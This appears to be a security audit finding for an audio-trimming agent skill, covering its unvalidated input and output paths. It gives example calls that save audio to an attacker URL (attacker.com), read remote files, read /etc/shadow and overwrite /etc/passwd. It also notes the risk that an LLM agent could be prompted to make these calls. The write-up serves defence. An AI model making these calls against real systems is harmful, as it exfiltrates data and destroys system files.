dkyazzentwatwa/chatgpt-skills:audio-trimmer

The `AudioTrimmer` skill allows users to specify input and output file paths. Since `pydub` (which uses `ffmpeg` internally) supports reading from and writing to URLs, an attacker could provide a URL instead of a local file path. This could lead to: - **Data Exfiltration:** Writing processed audio to an attacker-controlled server (e.g., `trimmer.save("http://attacker.com/exfil.mp3")`). - **Data Ingress:** Reading audio from an arbitrary URL, potentially downloading malicious content or large files, leading to resource exhaustion or other `ffmpeg` vulnerabilities (e.g., `AudioTrimmer("http://attacker.com/malicious.mp3")`). The skill does not validate if the provided paths are local file paths or URLs, allowing `ffmpeg` to perform network operations based on user input.

The skill's core functionality involves reading from and writing to arbitrary file paths specified by the user. While necessary for its purpose, it does not restrict these operations to a specific directory or enforce any sandboxing. An agent using this skill could be instructed to: - Read arbitrary files on the system (e.g., `AudioTrimmer("/etc/shadow")`). Although `pydub` would likely fail to parse non-audio files, the attempt to read could still be a privacy concern or lead to resource exhaustion. - Overwrite arbitrary files on the system with audio data (e.g., `trimmer.save("/etc/passwd")`). This could lead to data corruption or denial of service for critical system files. This capability, when exposed to an LLM agent, presents a risk if the agent is not properly sandboxed or if it can be prompted to target sensitive files.